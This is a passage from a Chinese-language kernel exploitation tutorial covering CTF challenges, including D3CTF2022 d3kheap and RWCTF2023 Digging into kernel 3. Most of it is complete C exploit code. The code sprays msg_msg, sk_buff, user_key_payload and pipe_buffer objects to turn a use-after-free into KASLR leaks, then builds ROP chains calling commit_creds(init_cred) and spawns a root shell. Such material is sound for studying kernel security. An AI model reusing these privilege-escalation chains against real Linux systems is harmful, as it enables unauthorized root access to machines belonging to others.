if(pipe_buf_ops==0){
errExit("leak pipe ops");
}
vmlinux_base=pipe_buf_ops-0xa33200;
printf("[*] %s -> 0x%llx \n","pipe_buf_ops",pipe_buf_ops);
printf("[*] %s -> 0x%llx \n","base",vmlinux_base);
commit_creds=vmlinux_base+0x000ac050;
init_cred=vmlinux_base+0x00e5a140;
size_t offset=vmlinux_base-raw_vmlinux_base;
size_t t=0xffffffff8133c5af+offset;
printf("[*] %s -> 0x%llx \n","offset",offset);
int idx=0;
size_t make_rop[]={
0,
0xffffffff8103f872+offset,//rdi ret
buf+0x18,
0,
0,
0xffffffff8133c5af+offset,//push rsi pop rsp pop rbp ret
0xffffffff81048955+offset,//add rsp 0x20,ret
init_cred,commit_creds,
0xffffffff81065354+offset,//swapgs pop
0,
0xffffffff8118453f+offset,//iretq
getshell,
user_cs,user_rflags,user_sp,user_ss
};
memcpy(buf,make_rop,sizeof(make_rop));
write(fd,buf,500);
for (size_t i = 0; i < SPARY_COUNT; i++)
{
close(pipe_fd[i][1]);
close(pipe_fd[i][0]);
}
BLUE;puts("[*]end");CLOSE;
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void getshell(void)
{
BLUE;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}
D3CTF2022_d3kheap
CVE-2021-22555 解法,堆喷 msg_msg
与 sk_buff
。
baby heap in kernel space, just sign me in plz :)
Here are some kernel config options that you may need
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SLUB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
给了保护提示,基本保护全开
使用了一个旋转锁,只实现两个功能,申请kmalloc-1k
的object
,然后释放的功能,有uaf,read、write没实现
ref_count
初始值为1所以可以构造double free
因为没有read\write
来泄露,需要使用辅助块来进行信息泄露。仅仅使用一次的uaf
漏洞,这个uaf object
需要完成泄露堆地址、泄露内核基地址、劫持rip,,申请的是kmalloc-1k
劫,持rip可以用pipe_buffer
,pipe_buffer
也可以泄露基地址,但是需要先泄露堆地址(有smep
)才可进行下一步。
泄露堆地址
可以使用msg_msg
来进行辅助泄露信息,但是堆喷上msg_msg
的时候,无法直接泄露对地址,还有一次uaf
的机会,再次喷上sk_buff
这样两个方法都可以对堆块进行更改操作,篡改msg->mts
,就可以完成越界读,越界读取下一个msg_msg
就有堆地址。
泄露内核基地址
msg_msg
因为前面头带了一个header
,不太好控制前面的信息,而篡改pipe_buffer
需要控制前面的字节,sk_buff
是尾带header
,使用sk_buff
能更好的控制pipe_buffer
,所以先还原msg_msg
之后释放,然后喷上pipe_buffer
,利用sk_buff的通信泄露出来内核基地址。
劫持rip
泄露基地址的时候已经有pipe_buffer
和sk_buff
占用同一个object,再次利用sk_buff
写入篡改pipe_buffer
的ops
劫持
exp
#define _GNU_SOURCE
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#include<stdint.h>
#include<sys/socket.h>
#include<sys/msg.h>
#include<sys/ipc.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);
int dev_fd;
#define ASSIST_MSG_SIZE 96
#define MAIN_MSG_SIZE 1024
#define SOCKET_COUNT 16
#define SK_BUFF_COUNT 64
#define MSG_QUEUE_COUNT 1024
#define SKB_SHARED_INFO_SIZE 320
#define PIPE_COUNT 128
#define RAW_PIPE_BUF_OPS 0xffffffff8203fe40
#define MSG_TAG (*(size_t*)"mowen123")
#define ASSIST_MSG_TAG (*(size_t*)"mowenass")
#define MAIN_MSG_TAG (*(size_t*)"mowenmai")
#define SKBUFF_TAG (*(size_t*)"mowenskf")
struct list_head
{
uint64_t next;
uint64_t prev;
};
struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg
{
uint64_t next;
};
struct
{
long type;
char mtext[ASSIST_MSG_SIZE-sizeof(struct msg_msg)];
}assist_msg;
struct
{
long type;
char mtext[MAIN_MSG_SIZE-sizeof(struct msg_msg)];
}main_msg;
struct
{
long type;
char mtext[0x2000];
}oob_msg;
void add(){
ioctl(dev_fd,0x1234);
}
void del(){
ioctl(dev_fd,0xDEAD);
}
int getmsqid(){
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int write_msg(int msqid,void* msgp,size_t msgsz,long msgtype){
*(long*)msgp=msgtype;
return msgsnd(msqid,msgp,msgsz-sizeof(long),0);
}
int peek_msg(int msqid,void* msgp,size_t msgsz,long msgtype){
return msgrcv(msqid,msgp,msgsz,msgtype,IPC_NOWAIT|MSG_COPY|MSG_NOERROR);
}
int read_msg(int msqid,void* msgp,size_t msgsz,long msgtype){
return msgrcv(msqid,msgp,msgsz,msgtype,0);
}
int spray_skbuff(int (*sk_fd)[2],void* buf,size_t size){
for (size_t i = 0; i < SOCKET_COUNT; i++)
{
for (size_t j = 0; j < SK_BUFF_COUNT; j++)
{
if(write(sk_fd[i][0],buf,size)<0)return -1;
}
}
return 0;
}
int free_skbuff(int sk_fd[][2],void* buf,size_t size){
for (size_t i = 0; i < SOCKET_COUNT; i++)
{
for (size_t j = 0; j < SK_BUFF_COUNT; j++)
{
if(read(sk_fd[i][1],buf,size)<0)return -1;
}
}
return 0;
}
const char* FileAttack="/dev/d3kheap\0";
int sk_fd[SOCKET_COUNT][2];
int msqid[MSG_QUEUE_COUNT];
char fake_sk_buff_data[MAIN_MSG_SIZE-SKB_SHARED_INFO_SIZE];
int pipe_fd[PIPE_COUNT][2];
int main(void){
save_status();
BLUE;printf("[*]start");CLOSE;
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
bind_cpu(0);
puts("init socket");
for (size_t i = 0; i < SOCKET_COUNT; i++)
{
if(socketpair(AF_UNIX,SOCK_STREAM,0,sk_fd[i])<0){
errExit("socketpair init");
}
}
puts("init msg_queue");
for (size_t i = 0; i < MSG_QUEUE_COUNT; i++)
{
if((msqid[i]=getmsqid())<0)errExit("init msg_queue");
}
puts("spray msgmsg to construction uaf object");
memset(&assist_msg,0,sizeof(assist_msg));
memset(&main_msg,0,sizeof(main_msg));
add();
del();
for (size_t i = 0; i < MSG_QUEUE_COUNT; i++)
{
*(size_t*)&assist_msg.mtext=MSG_TAG;
*((size_t*)&assist_msg.mtext[8])=i;
if(write_msg(msqid[i],&assist_msg,sizeof(assist_msg),ASSIST_MSG_TAG)<0){
errExit("spary assist_msg");
}
*(size_t*)&main_msg.mtext=MSG_TAG;
*((size_t*)&main_msg.mtext[8])=i;
if(write_msg(msqid[i],&main_msg,sizeof(main_msg),MAIN_MSG_TAG)<0){
errExit("spary main_msg");
}
}
puts("spray msgmsg end ,try to found victim object");
del();
struct msg_msg * tmp=(struct msg_msg *)&fake_sk_buff_data;
tmp->m_list.next=SKBUFF_TAG;
tmp->m_list.prev=SKBUFF_TAG;
tmp->m_ts=MAIN_MSG_SIZE;
tmp->m_type=SKBUFF_TAG;
tmp->next=0;
tmp->security=0;
if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
int victim_fd=-1;
for (size_t i = 0; i < MSG_QUEUE_COUNT; i++)
{
if(peek_msg(msqid[i],&main_msg,sizeof(main_msg),1)<0){
victim_fd=i;
GREEN; printf("found victim object -> %d",i); CLOSE;
break;
}
}
if(victim_fd==-1)errExit("not found victim_fd");
puts("use uaf object to oob read");
if(free_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
tmp=(struct msg_msg *)&fake_sk_buff_data;
tmp->m_list.next=SKBUFF_TAG;
tmp->m_list.prev=SKBUFF_TAG;
tmp->m_ts=1024*2;
tmp->m_type=SKBUFF_TAG;
tmp->next=0;
tmp->security=0;
if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
if(peek_msg(msqid[victim_fd],&oob_msg,sizeof(oob_msg),1)<0)errExit("oob read");
struct msg_msg* msg=(struct msg_msg*)&oob_msg.mtext[MAIN_MSG_SIZE-sizeof(struct msg_msg)];
size_t oob_msg_next=msg->m_list.next;
size_t oob_msg_prev=msg->m_list.prev;
if(msg->m_type!=MAIN_MSG_TAG)errExit("oob read failed");
showAddr(oob_msg_next);
showAddr(oob_msg_prev);
puts("use prev_ptr to find uaf object addr");
/*
uaf_object -> assist_msg (<-prev) leak_addr main_msg
*/
if(free_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
tmp=(struct msg_msg *)&fake_sk_buff_data;
tmp->m_list.next=*(size_t*)"testmomo";
tmp->m_list.prev=*(size_t*)"testmomo";
tmp->m_ts=0x1500; //ts要大于0x1000-sizeof(msg_msg) 才会触发读next
tmp->m_type=SKBUFF_TAG;
tmp->next=oob_msg_prev-0x8;
tmp->security=0;
if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
if(peek_msg(msqid[victim_fd],&oob_msg,sizeof(oob_msg),1)<0)errExit("oob read2");
msg=(struct msg_msg*)&oob_msg.mtext[0x1000-sizeof(struct msg_msg)];
if(msg->m_type!=ASSIST_MSG_TAG)errExit("oob read2");
size_t uaf_object_addr=msg->m_list.next-0x400;
showAddr(uaf_object_addr);
puts("Replace pipe_buffer with msg_msg to leak vmlinux base addr");
puts("first fixed victim msg_msg");
if(free_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
tmp=(struct msg_msg *)&fake_sk_buff_data;
tmp->m_list.next=uaf_object_addr+0x400;
tmp->m_list.prev=uaf_object_addr+0x400;
tmp->m_ts=MAIN_MSG_SIZE-sizeof(struct msg_msg);
tmp->m_type=*(size_t*)"mowenfix";
tmp->next=0;
tmp->security=0;
if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
if(read_msg(msqid[victim_fd],&main_msg,sizeof(main_msg),*(size_t*)"mowenfix")<0)
errExit("fixed victim msg_msg");
puts("spray pipe_buffer to leak vmlinux addr");
for (size_t i = 0; i < PIPE_COUNT; i++)
{
pipe(pipe_fd[i]);
write(pipe_fd[i][1],"mowen777",8);
}
size_t vmlinux_offset=-1;
for (size_t i = 0; i < SOCKET_COUNT; i++)
{
for (size_t j = 0; j < SK_BUFF_COUNT; j++)
{
if(read(sk_fd[i][1],&fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("read sk_buff line:305");
size_t pipe_ops=*(size_t*)&fake_sk_buff_data[0x10];
if(pipe_ops>raw_vmlinux_base){
GREEN;printf("[+] found ops adddr");CLOSE;
vmlinux_offset= pipe_ops-RAW_PIPE_BUF_OPS;
showAddr(pipe_ops);
}
}
}
if(vmlinux_offset<0)errExit("failed leak vmlinux addr");
vmlinux_base=raw_vmlinux_base+vmlinux_offset;
swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0x00c00ff0+0x16;
init_cred=vmlinux_base+0x01c6d580;
commit_creds=vmlinux_base+0x000d25c0;
showAddr(vmlinux_offset);
showAddr(vmlinux_base);
size_t borad_rop= vmlinux_base + 0x2dbede;
showAddr(borad_rop);
size_t rop[]={
MSG_TAG,
MSG_TAG,
uaf_object_addr+0x20,
0,
0xffffffff810938f0 + vmlinux_offset ,
borad_rop,
0xffffffff810938f0 + vmlinux_offset,
init_cred,
commit_creds,
swapgs_restore_regs_and_return_to_usermode,0,0,
getshell,
user_cs,
user_rflags,
user_sp,
user_ss
};
memcpy(fake_sk_buff_data,rop,sizeof(rop));
spray_skbuff(sk_fd,&fake_sk_buff_data,sizeof(fake_sk_buff_data));
for (size_t i = 0; i < PIPE_COUNT; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
BLUE;puts("[*]end");CLOSE;
return 0;
}
/*
0xffffffff8aadbede: push rsi
0xffffffff8aadbedf: pop rsp
0xffffffff8aadbf2c 5b <NO_SYMBOL> pop rbx
0xffffffff8aadbf2d 415c <NO_SYMBOL> pop r12
0xffffffff8aadbf2f 415d <NO_SYMBOL> pop r13
0xffffffff8aadbf31 5d <NO_SYMBOL> pop rbp
0xffffffff8aadbf32 c3 <NO_SYMBOL> ret
0xffffffff810938f0 : pop rdi ; ret
*/
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
void getshell(void)
{
BLUE;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
void _showAddr(char*name,size_t data){
GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}
RWCTF2023 体验赛 - Digging into kernel 3
只有ioctl有交互实现,两个功能,申请和uaf,但是没有泄露的地方
使用内核内核密钥管理user_key泄露内核基地址和pipe_buffer泄露泄露堆地址,最后劫持pipe_buffer->operations控制rip
内核密钥管理
通过add_key系统调用添加
给定type
和description
,来规定密钥的类型和描述,并以plen
长度的payload
和keyring
来实例化
这里的type只关注“user”
。
#include <sys/types.h>
#include <keyutils.h>
key_serial_t add_key(const char *type, const char *description,
const void *payload, size_t plen,
key_serial_t keyring);
主要申请的一个流程:
- 会先临时申请空间object1保存description、临时申请空间object2保存payload
- 申请空间object3保存description、申请空间object4保存payload
- 释放object1、object2,返回
利用payload的自定义长度来申请不同slab的,构造于不同结构体的重叠,然后利用read_key()
泄露地址
payload
会使用user_key_payload
结构体存储,
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};
rcu_head
结构体(0x18)如下,
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
在密钥读取的时候调用key->type->read(key, buffer, buflen);
本质就是调用user_read
,这里返回用户使用memcpy赋值,长度不能超过upayload->datalen
,但是可以利用uaf、溢出
等手法对user_key_payload
结构体的datalen
进行篡改,篡改之后可以完成溢出读取
long user_read(const struct key *key, char *buffer, size_t buflen)
{
const struct user_key_payload *upayload;
long ret;
upayload = user_key_payload_locked(key);
ret = upayload->datalen;
/* we can return the data as is */
if (buffer && buflen > 0) {
if (buflen > upayload->datalen)
buflen = upayload->datalen;
memcpy(buffer, upayload->data, buflen);
}
return ret;
}
溢出读取泄露基地址
在存储payload的时候会有一个header
的结构体callback_head
,在type
为"user"的key下,如果当前payload被释放,会被赋值为user_free_payload_rcu()
,所以可以在篡改的payload后释放user_key_payload,他们头指向.text地址,然后完成溢出读取就可泄露基地址。
pipe_inode_info->bufs
为动态分配的结构体数组,可以配合user_key_payload完成重叠之后泄露堆地址,
pipe_buf_operations
结构体,
当利用close()关闭管道的时候,就会调用pipe_release()
最终调用到pipe_buffer->pipe_buf_operations->release()
void (release)(struct pipe_inode_info , struct pipe_buffer *);
第二个参数指向pipe_buffer
,就是rsi ->pipe_buffer
,在篡改ops为buffer
后然后在buffer
上直接布局rop
,并且配合rsi
完成栈迁移。
myhead.h
头文件
#ifndef MY_HEAD
#define MY_HEAD
#include <sys/syscall.h>
#define PIPE_INODE_SZ 192
#define PIPE_BUFFER_SZ 1024
#define KEY_SPEC_PROCESS_KINGRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_READ 11 /* read a key or keyring's contents */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define RAW_USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
int key_alloc(char* description,void* payload,size_t plen){
syscall(__NR_add_key,"user",description,payload,plen,KEY_SPEC_PROCESS_KINGRING);
}
int key_read(int keyid,void* buf,size_t len){
syscall(__NR_keyctl,KEYCTL_READ,keyid,buf,len);
}
int key_revoke(int keyid){
syscall(__NR_keyctl,KEYCTL_REVOKE,keyid,0,0,0);
}
#endif
exp.c
#define _GNU_SOURCE
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#include"myhead.h"
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define SPARY_KEY_COUNT 40
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);
int dev_fd;
typedef struct
{
unsigned int idx,size;
void* buf;
}MyHeap,*p_myheap;
void add(unsigned int id,unsigned int size,void* buf){
MyHeap t={
.idx=id,
.buf=buf,
.size=size
};
ioctl(dev_fd,0xDEADBEEF,&t);
}
void del(unsigned int id){
MyHeap t={
.idx=id,
};
ioctl(dev_fd,0xC0DECAFE,&t);
}
const char* FileAttack="/dev/rwctf\0";
int main(void){
save_status();
BLUE;puts("[*]start");CLOSE;
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
bind_core(0);
size_t* buf=malloc(sizeof(size_t)*0x4000);
add(0,PIPE_INODE_SZ,buf);
del(0);
int key_fd[SPARY_KEY_COUNT]={0};
char description[0x100];
puts("SPARY KEY START");
for (size_t i = 0; i < SPARY_KEY_COUNT; i++)
{
snprintf(description,0xff,"%s_%d","mowen",i);
key_fd[i]=key_alloc(description,buf,PIPE_INODE_SZ-0x18);
if(key_fd[i]<0){
errExit("SPARY KEY");
}
}
del(0);
/*attack key header*/
puts("attack key header");
buf[0]=buf[1]=0;
buf[2]=0x2000;
for (size_t i = 0; i < (SPARY_KEY_COUNT*2); i++)
{
add(0,PIPE_INODE_SZ,buf);
}
puts("try to overflow read ");
int flags=-1;
for (size_t i = 0; i < SPARY_KEY_COUNT; i++)
{
if(key_read(key_fd[i],buf,0x4000)>PIPE_INODE_SZ){
GREEN;printf("found victim key_id %d",i);CLOSE;
flags=i;
}else{
key_revoke(key_fd[i]);
}
}
if(flags==-1){
errExit("not fount victim key_id");
}
puts("try leak kernel addr");
size_t base_offset=-1;
for (size_t i = 0; i < 0x2000/8; i++)
{
if(buf[i]>raw_vmlinux_base && (buf[i]&0xfff)==(RAW_USER_FREE_PAYLOAD_RCU &0xfff) ){
base_offset=buf[i]-RAW_USER_FREE_PAYLOAD_RCU;
vmlinux_base=raw_vmlinux_base+base_offset;
break;
}
}
if(base_offset==-1){
errExit("failed to leak kernel addr");
}
showAddr(base_offset);
showAddr(vmlinux_base);
puts("construct UAF to pipe_inode");
add(0,PIPE_INODE_SZ,buf);
add(1,PIPE_INODE_SZ,buf);
del(1);
del(0);
/*0->1 */
/*0 is tmp 1将为最终payload存放的地方*/
int pipe_key_fd=key_alloc("mowen_pipe",buf,PIPE_INODE_SZ-0x18);
del(1);//为pipe_inode准备空间
add(0,PIPE_BUFFER_SZ,buf);//为pipe_buffer准备空间
del(0);
int pipe_fd[2];
pipe(pipe_fd);
key_read(pipe_key_fd,buf,0xffff);// user_key_payload->datalen 0xffff
size_t pipe_buffer_addr=buf[16];
showAddr(pipe_buffer_addr);
commit_creds=vmlinux_base+0x00095c30;
init_cred=vmlinux_base+0x01850580;
swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0x00e00ed0+0x31;
int idx=0;
size_t t=0xffffffff81250c9d+base_offset;
showAddr(t);
buf[idx++] = *(size_t*) "mowen0";
buf[idx++] = *(size_t*) "mowen1";
buf[idx++]=pipe_buffer_addr+0x18;
buf[idx++]=0xffffffff8106ab4d+base_offset;
buf[idx++]=t;
buf[idx++]=0xffffffff8106ab4d+base_offset;
buf[idx++]=init_cred;
buf[idx++]=commit_creds;
buf[idx++]=swapgs_restore_regs_and_return_to_usermode;
buf[idx++] = *(size_t*) "mowen";
buf[idx++] = *(size_t*) "mowen";
buf[idx++]=getshell;
buf[idx++]=user_cs;
buf[idx++]=user_rflags;
buf[idx++]=user_sp;
buf[idx++]=user_ss;
del(0);
add(0, PIPE_BUFFER_SZ, buf);
puts("payload victim end");
close(pipe_fd[1]);
close(pipe_fd[0]);
BLUE;puts("[*]end");CLOSE;
return 0;
}
/*
0xffffffff8106ab4d : pop rdi ; ret
0xffffffff81050c77 : push rsi ; ret
0xffffffff81053164 : pop r12 ; pop rbp ; pop rbx ; ret
0xffffffff81250c9d
0xffffffffbac50c9d: push rsi
0xffffffffbac50c9e: pop rsp
0xffffffffbac50c9f: cmp rcx,rdx
0xffffffffbac50ca2: jb 0xffffffffbac50c85
0xffffffffbac50ca4: pop rbx
0xffffffffbac50ca5: xor eax,eax
0xffffffffbac50ca7: pop rbp
0xffffffffbac50ca8: pop r12
0xffffffffbac50caa: ret
*/
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] Process binded to core %d", core);CLOSE;
}
void getshell(void)
{
BLUE;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
void _showAddr(char*name,size_t data){
GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}
-
kernel从小白到大神(四)
- 堆保护
- msg_msg(GFP_KERNEL_ACCOUNT)
- msgsnd系统调用(GFP_KERNEL_ACCOUNT)
- msgrcv 系统调用
- sk_buff(size>=512)
- 分配(数据包:GFP_NOMEMALLOC | GFP_NOWARN)
- 释放
- pipe_buffer(kmalloc-1k|GFP_KERNEL_ACCOUNT)
- pipe_inode_info管道本体(kmalloc-192|GFP_KERNEL_ACCOUNT)
- 数据泄露
- pipe_buffer管道数据(kmalloc-1k|GFP_KERNEL_ACCOUNT)
- 分配
- 释放
- 数据泄露
- 劫持rip
- 2024网鼎杯pwn3
- D3CTF2022_d3kheap
- 泄露堆地址
- 泄露内核基地址
- 劫持rip
- exp
- RWCTF2023 体验赛 - Digging into kernel 3